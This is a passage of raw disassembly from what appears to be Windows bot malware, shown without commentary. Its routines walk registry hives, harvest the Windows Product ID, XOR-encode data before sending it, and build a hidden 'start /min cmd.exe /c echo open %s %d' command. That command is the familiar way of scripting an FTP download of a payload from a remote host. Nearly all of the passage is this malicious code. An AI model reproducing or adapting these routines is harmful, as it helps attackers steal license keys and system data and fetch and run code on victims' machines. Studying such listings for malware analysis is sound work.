		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436BF4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B77+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436BF4:				; CODE XREF: sub_4369E0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2920000h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436CDC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_448B6C
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436CDC:				; CODE XREF: sub_4369E0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2920000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436DC4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436DC4:				; CODE XREF: sub_4369E0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2920000h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017EE
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_436EAD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436EAD:				; CODE XREF: sub_4369E0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_436F51
; ---------------------------------------------------------------------------


loc_436EB7:				; CODE XREF: sub_4369E0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436F57
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 2950000h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 2900000h
		test	eax, eax
		jnz	short loc_436F4C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436F4C:				; CODE XREF: sub_4369E0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_436F51:				; CODE XREF: sub_4369E0+4D2j
		nop
		call	near ptr 2920000h


loc_436F57:				; CODE XREF: sub_4369E0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4369E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4370F0	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_43710D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_437103:				; CODE XREF: sub_4370F0+1Bj
		cmp	[eax+edx], cl
		jz	short loc_437111
		inc	eax
		cmp	eax, esi
		jl	short loc_437103


loc_43710D:				; CODE XREF: sub_4370F0+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_437111:				; CODE XREF: sub_4370F0+16j
		pop	esi
		mov	al, 1
		retn
sub_4370F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437130:				; CODE XREF: ___:00401433j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_4371EC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4371EC:				; CODE XREF: ___:004371E3j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43722E:				; CODE XREF: ___:004372A7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4372A9


loc_43726E:				; CODE XREF: ___:0043723Cj
					; ___:0043724Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4372A0


loc_437293:				; CODE XREF: ___:0043729Ej
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437293


loc_4372A0:				; CODE XREF: ___:00437291j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43722E
; ---------------------------------------------------------------------------


loc_4372A9:				; CODE XREF: ___:0043726Cj
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437390:				; CODE XREF: ___:00401D75j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_437442
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_437442:				; CODE XREF: ___:00437439j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437484:				; CODE XREF: ___:004374FDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4374FF


loc_4374C4:				; CODE XREF: ___:00437492j
					; ___:004374A2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4374F6


loc_4374E9:				; CODE XREF: ___:004374F4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4374E9


loc_4374F6:				; CODE XREF: ___:004374E7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_437484
; ---------------------------------------------------------------------------


loc_4374FF:				; CODE XREF: ___:004374C2j
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4375F0:				; CODE XREF: ___:00401FFFj
		mov	eax, 200Ch
		call	sub_437B30
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_5FADE9
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4376F2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4376F2:				; CODE XREF: ___:004376E9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437734:				; CODE XREF: ___:004377ADj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4377AF


loc_437774:				; CODE XREF: ___:00437742j
					; ___:00437752j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4377A6


loc_437799:				; CODE XREF: ___:004377A4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437799


loc_4377A6:				; CODE XREF: ___:00437797j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_437734
; ---------------------------------------------------------------------------


loc_4377AF:				; CODE XREF: ___:00437772j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4378B0:				; CODE XREF: ___:0040191Fj
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43792D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43792D:				; CODE XREF: ___:00437924j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43796F:				; CODE XREF: ___:004379E8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4379EA


loc_4379AF:				; CODE XREF: ___:0043797Dj
					; ___:0043798Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4379E1


loc_4379D4:				; CODE XREF: ___:004379DFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4379D4


loc_4379E1:				; CODE XREF: ___:004379D2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43796F
; ---------------------------------------------------------------------------


loc_4379EA:				; CODE XREF: ___:004379ADj
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AB8	proc near		; CODE XREF: SEH_403530+5j
					; SEH_403720+5j ...
		nop
		jmp	near ptr 77C227FAh
sub_437AB8	endp

; ---------------------------------------------------------------------------
		align 10h
byte_437AC0	db 90h			; DATA XREF: ___:off_43F004o
					; ___:0043F018o ...
		db 0E9h, 47h, 0E4h
		dd 0E990777Fh, 777E444Ch, 18F5E990h
; ---------------------------------------------------------------------------
		jg	short loc_437B49

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AD2	proc near		; CODE XREF: ___:00406C30p
					; sub_406C50+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_437AD2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0B2h, 0FFh
		dd 0E9907780h, 7781017Ch, 1FBE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AEA	proc near		; CODE XREF: sub_406C80+47p
					; ___:00406D1Ap ...
		nop
		jmp	near ptr 77C29CC5h
sub_437AEA	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0F1h, 99h
; ---------------------------------------------------------------------------
		jle	short loc_437B6D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F1D4
		retn	4
; ---------------------------------------------------------------------------


loc_437B01:				; DATA XREF: ___:off_43F1D4o
		push	esi
		mov	esi, ecx
		call	sub_437EBC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_437B17
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx


loc_437B17:				; CODE XREF: ___:00437B0Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437B22	proc near		; CODE XREF: sub_409660+4Dp
					; ___:0040AA7Dp
		nop
		jmp	near ptr 77C226F6h
sub_437B22	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_437B30	proc near		; CODE XREF: sub_40A110+5p
					; sub_410030+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_437B50


loc_437B3C:				; CODE XREF: sub_437B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax


loc_437B49:				; CODE XREF: ___:00437AD0j
		cmp	eax, 1000h
		jnb	short loc_437B3C


loc_437B50:				; CODE XREF: sub_437B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_437B30	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 2 dup(0FAh)
		dd 0E9907780h, 777E5424h
		db 90h
; ---------------------------------------------------------------------------


loc_437B6D:				; CODE XREF: ___:00437AF4j
